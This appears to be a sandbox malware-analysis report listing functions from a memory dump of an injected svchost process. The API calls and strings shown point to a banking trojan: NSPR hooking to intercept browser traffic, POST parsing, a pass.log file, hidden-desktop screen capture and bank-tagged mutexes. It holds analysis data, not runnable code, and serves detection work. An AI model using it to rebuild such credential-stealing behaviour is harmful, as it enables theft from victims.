Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
String ID: 7f1bf95c$Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$P0#v$RSTYLE
API String ID: 505831200-2899104252
Opcode ID: a4a3d1e9f6ed5d70f24a0a013588e84c90c1aa0e7e619a67d40516cb74c0f158
Instruction ID: b08893210dbc9ebcc0b73e871e23fbd590f2a43a74c877046b024da61a8c4ed2
Opcode Fuzzy Hash: a4a3d1e9f6ed5d70f24a0a013588e84c90c1aa0e7e619a67d40516cb74c0f158
Instruction Fuzzy Hash: 7C11E630AC47537BF6126B658C0FF1A369C9F81B64F184654F919620C1EBF4A9008A7B

Function 02C7EEB0 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(nspr4.dll,00000000,00000000,00000000,02C84822), ref: 02C7EEBA
GetProcAddress.KERNEL32(00000000,PR_Write), ref: 02C7EED7
GetProcAddress.KERNEL32(00000000,PR_Read), ref: 02C7EEF3
GetProcAddress.KERNEL32(00000000,PR_Close), ref: 02C7EF0F
GetProcAddress.KERNEL32(00000000,PR_OpenTCPSocket), ref: 02C7EF2B
GetProcAddress.KERNEL32(00000000,PR_GetError), ref: 02C7EF47
GetProcAddress.KERNEL32(00000000,PR_SetError), ref: 02C7EF54
GetProcAddress.KERNEL32(00000000,PR_GetNameForIdentity), ref: 02C7EF61

Part of subcall function 02C88FC0: VirtualAlloc.KERNEL32(00000000,-00000008,00003000,00000040,7622F550,00000000,7693BD50,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C88FF8
Part of subcall function 02C88FC0: memcpy.MSVCRT(?,?,00000000,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C89020
Part of subcall function 02C88FC0: VirtualProtect.KERNEL32(00000000,?,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890B5
Part of subcall function 02C88FC0: VirtualProtect.KERNEL32(?,00000000,00000040,02C8839A,?,?,?,?,?,?,02C8839A,00000000,02C881F0,02CC7D6C), ref: 02C890CA

Strings

PR_SetError, xrefs: 02C7EF49
nspr4.dll, xrefs: 02C7EEB5
PR_Close, xrefs: 02C7EF09
PR_Write, xrefs: 02C7EED1
PR_GetNameForIdentity, xrefs: 02C7EF56
PR_Read, xrefs: 02C7EEED
PR_OpenTCPSocket, xrefs: 02C7EF25
PR_GetError, xrefs: 02C7EF41

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: AddressProc$Virtual$Protect$AllocLibraryLoadmemcpy
String ID: PR_Close$PR_GetError$PR_GetNameForIdentity$PR_OpenTCPSocket$PR_Read$PR_SetError$PR_Write$nspr4.dll
API String ID: 1577031324-943613760
Opcode ID: e4b46da6d58aa288dc49034314960b9be425a9911dad82519c8391f5165aef91
Instruction ID: 6d5524f4b433b16b8db29e1f5193a618bd92d53aeb5a8604d07816fc66f55455
Opcode Fuzzy Hash: e4b46da6d58aa288dc49034314960b9be425a9911dad82519c8391f5165aef91
Instruction Fuzzy Hash: D5017973BC536632B91336751C46FCB574D8EC1E48F0649B1F803B1944DBD5E1028879

Function 02C83EA0 Relevance: 27.1, APIs: 18, Instructions: 133memorynetworkCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000C10,76233050,762330D0,76233080), ref: 02C83EC7
HeapAlloc.KERNEL32(00000000), ref: 02C83ECA
memset.MSVCRT ref: 02C83EDE
inet_addr.WS2_32(?), ref: 02C83F05
GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02C83F23
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83F2D
HeapValidate.KERNEL32(00000000), ref: 02C83F30
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83F3D
HeapFree.KERNEL32(00000000), ref: 02C83F40
GetProcessHeap.KERNEL32(00000008,00000C13), ref: 02C83F58
HeapAlloc.KERNEL32(00000000), ref: 02C83F5F
memset.MSVCRT ref: 02C83F6F
GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02C83F85
htons.WS2_32(00000000), ref: 02C83FB1
GetProcessHeap.KERNEL32(00000000,00000C00), ref: 02C83FE1
HeapValidate.KERNEL32(00000000), ref: 02C83FE4
GetProcessHeap.KERNEL32(00000000,00000C00), ref: 02C83FF4
HeapFree.KERNEL32(00000000), ref: 02C83FF7

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocFreeTableValidatememset$htonsinet_addr
String ID:
API String ID: 1718479325-0
Opcode ID: 29477025ae6a1fe9aa3d15dd92cb163b7405cb1b7ee00adbba94e1da104d29ae
Instruction ID: b88085a35273208d51dc973e77e834283b74a67b41c9b3ff78c4246472cfc672
Opcode Fuzzy Hash: 29477025ae6a1fe9aa3d15dd92cb163b7405cb1b7ee00adbba94e1da104d29ae
Instruction Fuzzy Hash: 0241E332E40294ABDB21AF65DC48F9A7B78EF80B09F0185D4FD0497280DB72DA45CBE1

Function 02C84010 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 210stringCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C84060
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C8408C
VirtualQuery.KERNEL32(02C93910,0000001C,0000001C), ref: 02C840B3
IsBadReadPtr.KERNEL32(?,00000005), ref: 02C840E4
strstr.MSVCRT ref: 02C8410D
StrStrIA.SHLWAPI(?,Content-Length: ), ref: 02C84125
StrToIntA.SHLWAPI(-00000010), ref: 02C84133
memcpy.MSVCRT(00000000,?,00000004), ref: 02C84165

Strings

, xrefs: 02C84107
POST, xrefs: 02C840EE
Content-Length: , xrefs: 02C8411F

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: QueryVirtual$Readmemcpystrstr
String ID: $Content-Length: $POST
API String ID: 2509092961-2076583852
Opcode ID: 98e3f5e6023505e43740f07631d97470b1c8b4de8df814408e7af2995d1372bf
Instruction ID: 20fb5f77d205ca073ff0fd67f8c3b62ce2f308a28ed9b6ee4e61b5401f3d3b17
Opcode Fuzzy Hash: 98e3f5e6023505e43740f07631d97470b1c8b4de8df814408e7af2995d1372bf
Instruction Fuzzy Hash: C6718071D40256AFDB24EFA8DC84BAEBBB9FF88704F108669E814E7640D7309914CF91

Function 02C8CBC0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 167stringthreadCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 02C8CBE1
StrStrIA.SHLWAPI(00000000,<L>,?,00000000,?), ref: 02C8CC19
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8CC4D
PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8CC83
PathFileExistsA.SHLWAPI(00000000,7F1BFC0D), ref: 02C8CCC9
CreateThread.KERNEL32(00000000,00000000,02C8A390,00000000,00000000,00000000), ref: 02C8CD48
GetHandleInformation.KERNEL32(00000000,?), ref: 02C8CD60
CloseHandle.KERNEL32(00000000), ref: 02C8CD71
strstr.MSVCRT ref: 02C8CD97
memcpy.MSVCRT(00000000,00000000,02C87A4D), ref: 02C8CDD4

Strings

bsi.dll, xrefs: 02C8CD91
<L>, xrefs: 02C8CC13
POST, xrefs: 02C8CD83
pass.log, xrefs: 02C8CCA8
7F1BFC0D, xrefs: 02C8CC48, 02C8CC4F, 02C8CC7C, 02C8CC85

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashHandle$CloseCreateExistsFileInformationThreadmemcpymemsetstrstr
String ID: 7F1BFC0D$<L>$POST$bsi.dll$pass.log
API String ID: 4177962767-247644405
Opcode ID: 9cc13a4ea0943cb3413a1a2afebb03ffea2db5b04c5cf6cf9bd6f23f5edbc480
Instruction ID: 06d8eef77a4d09b74bfb68f91aa851fec4f1dbc0fe938ed8cc18d0de3af1fdc7
Opcode Fuzzy Hash: 9cc13a4ea0943cb3413a1a2afebb03ffea2db5b04c5cf6cf9bd6f23f5edbc480
Instruction Fuzzy Hash: AC516F31D406455BD716BF34EC097E67BA9EF85308F14865BD80897280EB709B58CFE0

Function 02C8B888 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

PathAddBackslashA.SHLWAPI(7F1BFC0D), ref: 02C8B8A7
CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B8E1
GetLastError.KERNEL32 ref: 02C8B8EB
IsUserAnAdmin.SHELL32 ref: 02C8B8F3
PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B904
SetLastError.KERNEL32(00000000), ref: 02C8B90B
GetFileAttributesA.KERNEL32(?), ref: 02C8B941
SetCurrentDirectoryA.KERNEL32(?), ref: 02C8B980
PathAddBackslashA.SHLWAPI(7F1BFC0D,?,?), ref: 02C8B9C7

Strings

\, xrefs: 02C8B95F
ctunnel.zip, xrefs: 02C8B920
7F1BFC0D, xrefs: 02C8B8A2, 02C8B8A9, 02C8B9C2, 02C8B9C9
path_ctunnel.txt, xrefs: 02C8BA08

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Path$BackslashDirectoryErrorLast$AdminAttributesCreateCurrentFileFolderMakeSystemUser
String ID: 7F1BFC0D$\$ctunnel.zip$path_ctunnel.txt
API String ID: 2545201083-3302986162
Opcode ID: 0d24fdd9394c81d2c3d99d38b0d80c5c5f2a43102a1a27a606cbdb373f676f99
Instruction ID: d0a2208008877b16d15c25a98c7cfc1f1bfd6b29ceef1f59d470caa040ab772e
Opcode Fuzzy Hash: 0d24fdd9394c81d2c3d99d38b0d80c5c5f2a43102a1a27a606cbdb373f676f99
Instruction Fuzzy Hash: 8A51F6309046598FDB16DF24A858BE6BBF9EF86308F14C6D4D8C9D7211DB70DA89CB90

Function 02C783D0 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 84windowsynchronizationsleepCOMMON

Download Yara Rule

APIs

SetThreadDesktop.USER32(?), ref: 02C783E2

Part of subcall function 02C77FB0: SelectObject.GDI32(00000000,00000000), ref: 02C77FCA
Part of subcall function 02C77FB0: DeleteObject.GDI32(00000000), ref: 02C77FD9
Part of subcall function 02C77FB0: DeleteDC.GDI32(00000000), ref: 02C77FE7
Part of subcall function 02C77FB0: SelectObject.GDI32(?,00000000), ref: 02C77FF7
Part of subcall function 02C77FB0: DeleteObject.GDI32(00000000), ref: 02C77FFF
Part of subcall function 02C77FB0: DeleteDC.GDI32(?), ref: 02C78008
Part of subcall function 02C77FB0: GetDC.USER32(00000000), ref: 02C7800C
Part of subcall function 02C77FB0: CreateCompatibleDC.GDI32(00000000), ref: 02C7801B
Part of subcall function 02C77FB0: CreateCompatibleDC.GDI32(00000000), ref: 02C78023
Part of subcall function 02C77FB0: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02C78044
Part of subcall function 02C77FB0: SelectObject.GDI32(?,00000000), ref: 02C78053
Part of subcall function 02C77FB0: CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 02C7806E
Part of subcall function 02C77FB0: SelectObject.GDI32(00000000,00000000), ref: 02C7808D
Part of subcall function 02C77FB0: ReleaseDC.USER32(00000000,00000000), ref: 02C7809C

WaitForSingleObject.KERNEL32(00000000,000001F4), ref: 02C7840C
GetTopWindow.USER32(00000000), ref: 02C7841B
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C78432
GetWindow.USER32(00000000,00000005), ref: 02C78448
GetWindow.USER32(00000000), ref: 02C7844B
WindowFromPoint.USER32(?,?,00000000), ref: 02C7845F
SendMessageA.USER32(00000000,?,00000005,00000000), ref: 02C78481
GetIconInfo.USER32(?,?), ref: 02C7848D
DrawIcon.USER32(00000000,00000000,?,?), ref: 02C784AE
DestroyIcon.USER32(?,?,?,00000000), ref: 02C784B5
ReleaseMutex.KERNEL32(00000000,?,?,00000000), ref: 02C784C2
SetEvent.KERNEL32(00000000,?,?,00000000), ref: 02C784CF
Sleep.KERNEL32(00000032), ref: 02C784DB

Strings

P0#v, xrefs: 02C784C2

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Object$CompatibleCreateDeleteSelectWindow$Icon$BitmapReleaseSingleWait$DesktopDestroyDrawEventFromInfoMessageMutexPointSendSleepThread
String ID: P0#v
API String ID: 2294845507-3387790918
Opcode ID: 8eaec09d3a492f721f1fd1a2e24dbb4a57badda49ef832711eca34dd661be69c
Instruction ID: 0e43117837ab6268a9a67490fb1ba952dea540b34f6c08637e1ff143d0f09b8b
Opcode Fuzzy Hash: 8eaec09d3a492f721f1fd1a2e24dbb4a57badda49ef832711eca34dd661be69c
Instruction Fuzzy Hash: 2A313674A80341AFC616EBB4EC8DF1B7769EB88711F008F98F61587280DA74E921CB60

Function 02C91AC8 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 56sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}), ref: 02C91ADC
ReleaseMutex.KERNEL32(00000000), ref: 02C91AED
GetHandleInformation.KERNEL32(00000000,?), ref: 02C91B01
CloseHandle.KERNEL32(00000000), ref: 02C91B0F
CreateThread.KERNEL32(00000000,00000000,02C91960,00000000,00000000,00000000), ref: 02C91B24
Sleep.KERNEL32(00009C40), ref: 02C91B35
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C91B3A
GetHandleInformation.KERNEL32(00000000,?), ref: 02C91B4E
CloseHandle.KERNEL32(00000000), ref: 02C91B5C
PathAddBackslashA.SHLWAPI(7f1bf95c), ref: 02C91B67
Sleep.KERNEL32(00009C40,7f1bf95c,RSTYLE), ref: 02C91B81
Sleep.KERNEL32(00000064), ref: 02C91B8A

Strings

P0#v, xrefs: 02C91AED
7f1bf95c, xrefs: 02C91B62, 02C91B72
RSTYLE, xrefs: 02C91B6D
Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}, xrefs: 02C91AD0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
String ID: 7f1bf95c$Local\{EAF777FF-8989-4fe1-977D-95CD777C0214}$P0#v$RSTYLE
API String ID: 505831200-2899104252
Opcode ID: 9ea4946fda70028080132b8b51fdc5c838c3f5a54fca603538bd214f0df2f2f9
Instruction ID: 87246e837453476ab8cb3a90fcf2ea0ea17a32e8c0ab618fc1457228210fe869
Opcode Fuzzy Hash: 9ea4946fda70028080132b8b51fdc5c838c3f5a54fca603538bd214f0df2f2f9
Instruction Fuzzy Hash: 0711E530AC47537BF7226B648C1FF1E37886F81B29F088644F919620C1EBF485008B67

Function 02C90B08 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 56sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C90B1C
ReleaseMutex.KERNEL32(00000000), ref: 02C90B2D
GetHandleInformation.KERNEL32(00000000,?), ref: 02C90B41
CloseHandle.KERNEL32(00000000), ref: 02C90B4F
CreateThread.KERNEL32(00000000,00000000,02C909A0,00000000,00000000,00000000), ref: 02C90B64
Sleep.KERNEL32(00009C40), ref: 02C90B75
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02C90B7A
GetHandleInformation.KERNEL32(00000000,?), ref: 02C90B8E
CloseHandle.KERNEL32(00000000), ref: 02C90B9C
PathAddBackslashA.SHLWAPI(7f1bf841), ref: 02C90BA7
Sleep.KERNEL32(00009C40,7f1bf841,RAIFF), ref: 02C90BC1
Sleep.KERNEL32(00000064), ref: 02C90BCA

Strings

Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}, xrefs: 02C90B10
P0#v, xrefs: 02C90B2D
RAIFF, xrefs: 02C90BAD
7f1bf841, xrefs: 02C90BA2, 02C90BB2

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$Sleep$CloseInformationMutex$BackslashCreateObjectOpenPathReleaseSingleThreadWait
String ID: 7f1bf841$Local\{EAF799BF-8989-4fe1-9A0D-95CD777C0214}$P0#v$RAIFF
API String ID: 505831200-2004234703
Opcode ID: 9d241e29066a7ccac0e2974def515aa8d1f14e992420dd3c3fa5b907d39e7cf9
Instruction ID: 1bfc5cdfe3475c5b9873aec1f5fa2bb2d161855bd81734d9005c03239ff8d8f9
Opcode Fuzzy Hash: 9d241e29066a7ccac0e2974def515aa8d1f14e992420dd3c3fa5b907d39e7cf9
Instruction Fuzzy Hash: 7811E530AC5752BEFB225B648C1FF1E37C86F80B19F108654F955A20C1EBB0D5008B67

Function 02C792B0 Relevance: 25.9, APIs: 17, Instructions: 354windowthreadtimeCOMMON

Download Yara Rule

APIs

GetAncestor.USER32(00000000,00000002,00000080,?,00000000), ref: 02C792BE

Part of subcall function 02C7D200: GetWindowLongA.USER32(?,000000F0), ref: 02C7D21B
Part of subcall function 02C7D200: GetLastActivePopup.USER32(?), ref: 02C7D229
Part of subcall function 02C7D200: GetWindow.USER32(00000000,00000005), ref: 02C7D243
Part of subcall function 02C7D200: GetWindow.USER32(00000000), ref: 02C7D246
Part of subcall function 02C7D200: GetWindowInfo.USER32(00000000,?), ref: 02C7D25C
Part of subcall function 02C7D200: GetWindow.USER32(00000000,00000004), ref: 02C7D265
Part of subcall function 02C7D200: GetWindow.USER32(00000000,00000003), ref: 02C7D29E

SendMessageA.USER32(?,00000010,00000000,00000000), ref: 02C792FF
GetAncestor.USER32(00000000,00000002,00000000), ref: 02C79385
SendMessageTimeoutA.USER32(00000000,00000021,00000000,00000001,00000002,00000064,?), ref: 02C793AC
PostMessageA.USER32(00000000,00000020,00000000,00000001), ref: 02C793F1
PostMessageA.USER32(00000000,00000000,00000000,00000001), ref: 02C79445

Part of subcall function 02C79160: GetTickCount.KERNEL32 ref: 02C791EA
Part of subcall function 02C79160: GetClassLongA.USER32(00000000,000000E6), ref: 02C7923D

PostMessageA.USER32(00000000,00000112,?,?), ref: 02C794AE
PostMessageA.USER32(00000000,0000007B,00000000,?), ref: 02C794D9
PostMessageA.USER32(00000000,0000007B,00000000,00000000), ref: 02C79555
GetSystemMenu.USER32(00000000,00000000), ref: 02C79574
GetMenuItemInfoA.USER32(00000000,0000F060,00000000,0000004C), ref: 02C79598
GetWindowThreadProcessId.USER32(?,00000000), ref: 02C79603
PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 02C79616
PostMessageA.USER32(?,?,00000001,00000000), ref: 02C79639
PostMessageA.USER32(?,?,00000002,00000000), ref: 02C7965B
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 02C79693
GetWindowThreadProcessId.USER32(?,00000000), ref: 02C796BD

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Message$Window$Post$ProcessThread$AncestorInfoLongMenuSend$ActiveClassCountItemLastPopupSystemTickTimeout
String ID:
API String ID: 590198697-0
Opcode ID: 109e73a09647cd5770d935d94549e2aa3c30c96d773e79d3f322b559c98ccc02
Instruction ID: 28f0c27428ceba17d6f8045eb40a16bd936f8f5dabe40bbc738a6dc2b58ad52d
Opcode Fuzzy Hash: 109e73a09647cd5770d935d94549e2aa3c30c96d773e79d3f322b559c98ccc02
Instruction Fuzzy Hash: 80B15832F402146AEB219A69DC89FBF7B68E7C2714F00463AFD05971C1C7798A51DBA1

Function 02C7D680 Relevance: 25.1, APIs: 20, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,02C7EAE2), ref: 02C7D6A7
HeapValidate.KERNEL32(00000000), ref: 02C7D6AA
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7D6B7
HeapFree.KERNEL32(00000000), ref: 02C7D6BA
GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,02C7EAE2), ref: 02C7D6CA
HeapValidate.KERNEL32(00000000), ref: 02C7D6CD
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7D6DA
HeapFree.KERNEL32(00000000), ref: 02C7D6DD
GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,02C7EAE2), ref: 02C7D6ED
HeapValidate.KERNEL32(00000000), ref: 02C7D6F0
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7D6FD
HeapFree.KERNEL32(00000000), ref: 02C7D700
GetProcessHeap.KERNEL32(00000000,?,00000000,?,00000000,02C7EAE2), ref: 02C7D710
HeapValidate.KERNEL32(00000000), ref: 02C7D713
GetProcessHeap.KERNEL32(00000000,?), ref: 02C7D720
HeapFree.KERNEL32(00000000), ref: 02C7D723
GetProcessHeap.KERNEL32(?,?,00000000,?,00000000,02C7EAE2), ref: 02C7D75D
HeapValidate.KERNEL32(00000000), ref: 02C7D760
GetProcessHeap.KERNEL32(?,?), ref: 02C7D76C
HeapFree.KERNEL32(00000000), ref: 02C7D76F

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeValidate
String ID:
API String ID: 1670920773-0
Opcode ID: 108202c0d4279456596ae13d8372c63828c1c486a485ed11bdd8f0e70d218377
Instruction ID: 96d5c744759e76c387bd5157526568cf865ea02f85927ef851269706937036c1
Opcode Fuzzy Hash: 108202c0d4279456596ae13d8372c63828c1c486a485ed11bdd8f0e70d218377
Instruction Fuzzy Hash: 3731A172E843516BEB225F65AC88F5B77ACEFC0F56F090A19E40B93184DB31E910C6A0

Function 02C780B0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 132memorythreadwindowCOMMON

Download Yara Rule

APIs

SetThreadDesktop.USER32(?,7622F590,762216B0,00000000), ref: 02C780BF
GetDC.USER32(00000000), ref: 02C780C7
GetDeviceCaps.GDI32(00000000,0000000A), ref: 02C780D8
GetDeviceCaps.GDI32(00000000,00000008), ref: 02C780E9
CreateCompatibleBitmap.GDI32(00000000,00000000,?), ref: 02C78100
GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 02C78142
GetDIBits.GDI32(00000000,00000000,00000000,00000001,00000000,00000028,00000000), ref: 02C78152
DeleteObject.GDI32(00000000), ref: 02C78155
ReleaseDC.USER32(00000000,00000000), ref: 02C7815E
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02C781B9
HeapAlloc.KERNEL32(00000000,00000008,?), ref: 02C781D2
HeapAlloc.KERNEL32(00000000,00000008,?), ref: 02C781EF
SetThreadDesktop.USER32(?), ref: 02C78224

Strings

(, xrefs: 02C7813B

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocBitsCapsDesktopDeviceThread$BitmapCompatibleCreateDeleteFreeObjectRelease
String ID: (
API String ID: 188880187-3887548279
Opcode ID: 65efba5e38bc7ffa8d34c9547869be9fddd69222542ae85b0bba9e9c45295b16
Instruction ID: e1d2fbe0d8736019194c9f376290799d48bd3895722b7c8204f9a690c898a7f7
Opcode Fuzzy Hash: 65efba5e38bc7ffa8d34c9547869be9fddd69222542ae85b0bba9e9c45295b16
Instruction Fuzzy Hash: CA415E71E81344AFDB11CFA9D889BDABBF8EF49710F1446A9E509E7280D7705911CBA0

Function 02C8F0A0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 98memoryfileCOMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(?,?,00000000,00000000,75AF7390), ref: 02C8F0DD
GetProcessHeap.KERNEL32(00000008,?), ref: 02C8F0F4
HeapAlloc.KERNEL32(00000000), ref: 02C8F0FB
memset.MSVCRT ref: 02C8F10B
ReadFile.KERNEL32 ref: 02C8F12C
StrStrA.SHLWAPI(00000000,BEGIN SIGNATURE), ref: 02C8F142
StrStrA.SHLWAPI(00000000,END SIGNATURE), ref: 02C8F14E
SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,75AF7390), ref: 02C8F172
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8F185
HeapValidate.KERNEL32(00000000), ref: 02C8F188
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C8F195
HeapFree.KERNEL32(00000000), ref: 02C8F198

Strings

BEGIN SIGNATURE, xrefs: 02C8F13C
END SIGNATURE, xrefs: 02C8F148

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$FileProcess$AllocFreePointerReadSizeValidatememset
String ID: BEGIN SIGNATURE$END SIGNATURE
API String ID: 2165369453-4158457813
Opcode ID: 5cc793cfcd844ed135731521aff2ba7705046535c27c244f156e8f9c38b85ce1
